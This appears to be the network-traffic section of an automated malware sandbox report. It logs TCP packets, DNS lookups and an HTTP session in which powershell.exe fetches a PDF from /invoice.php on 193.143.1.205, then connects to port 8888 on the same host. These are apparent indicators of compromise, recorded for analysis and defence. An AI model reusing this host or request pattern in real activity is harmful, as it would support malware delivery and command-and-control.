Jan 10, 2025 18:22:48.754812956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754815102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.754849911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.754849911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.764317989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777539015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777570963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777590036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777601004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777611971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777630091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777637005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.777642965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777650118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777654886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777673006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777683973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.777684927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777698040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777709007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777720928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.777750015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.777760983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.777761936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.787148952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.787177086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.787189007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.787201881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.787220955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.787234068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.787246943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.787278891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.787368059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.787368059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.802103996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802129030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802159071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802181005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802181959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.802192926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802205086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802217960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802217960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.802256107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.802273989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802294016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802305937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802318096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.802318096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802333117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802345037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802349091 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.802356958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802370071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.802403927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802409887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.802417994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.802448034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.825750113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.825787067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.825798988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.825826883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.825839996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.825851917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.825865030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.825882912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.825932980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.825953007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.825964928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.825983047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.825992107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.825994968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826008081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826016903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826020956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826037884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826045990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826081038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826231956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826246977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826257944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826304913 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826313019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826324940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826330900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826337099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826353073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826373100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826380968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826385975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826391935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826391935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826407909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826419115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826433897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826469898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826483011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826494932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826509953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826558113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826569080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826586962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826591015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826600075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826606035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826611996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826628923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826639891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826642990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826652050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826668024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826673031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826685905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826699018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826709986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826721907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826723099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826738119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826766968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826766968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826781034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826792002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826805115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.826805115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.826828003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.827003002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827014923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827027082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827038050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827050924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827054977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.827063084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827075958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.827078104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827090025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827104092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827104092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.827119112 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.827120066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827137947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827147007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.827151060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827163935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827174902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827174902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.827188015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827194929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.827200890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827214956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.827229023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.827290058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.840635061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840670109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840682030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840692997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840706110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840724945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840737104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840743065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840745926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.840784073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.840784073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.840833902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840845108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840864897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840878010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840887070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.840888977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840900898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840914011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.840914011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.840945005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.840984106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.841001987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.841013908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.841021061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.841025114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.841037035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.841048002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.841048956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.841059923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.841073036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.841079950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.841084003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.841098070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.841125011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.863856077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.863888025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.863905907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.863918066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.863929033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.863934994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.863945007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.863959074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.863991976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.864042997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.864042997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.082964897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.083059072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.325344086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330324888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330353975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330365896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330378056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330389977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330403090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330462933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330487967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330501080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330513954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330524921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330538034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330552101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330565929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330575943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330598116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330606937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330648899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330660105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330671072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330682039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330693007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330698967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330704927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330717087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330720901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330729961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330743074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330744028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330755949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330770016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330784082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330785036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330812931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330815077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330822945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330826998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330840111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330851078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330863953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330866098 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330882072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330893993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330897093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330924034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.330928087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:49.330995083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.590548038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:49.815568924 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:50.704677105 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:50.709630013 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:50.709722042 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:50.714190006 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:50.718987942 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:51.505271912 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:51.550673962 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:51.831083059 CET	49707	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:23:00.572273970 CET	61264	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:23:00.572273970 CET	192.168.2.8	1.1.1.1	0x5809	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:23:00.579818010 CET	1.1.1.1	192.168.2.8	0x5809	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:23:01.301039934 CET	1.1.1.1	192.168.2.8	0x686a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:23:01.301039934 CET	1.1.1.1	192.168.2.8	0x686a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:24:02.912622929 CET	1.1.1.1	192.168.2.8	0x3873	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:24:02.912622929 CET	1.1.1.1	192.168.2.8	0x3873	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	7844	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:22:47.365616083 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:22:48.154102087 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:22:48 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:22:48.154136896 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:22:48.154156923 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:22:48.154169083 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
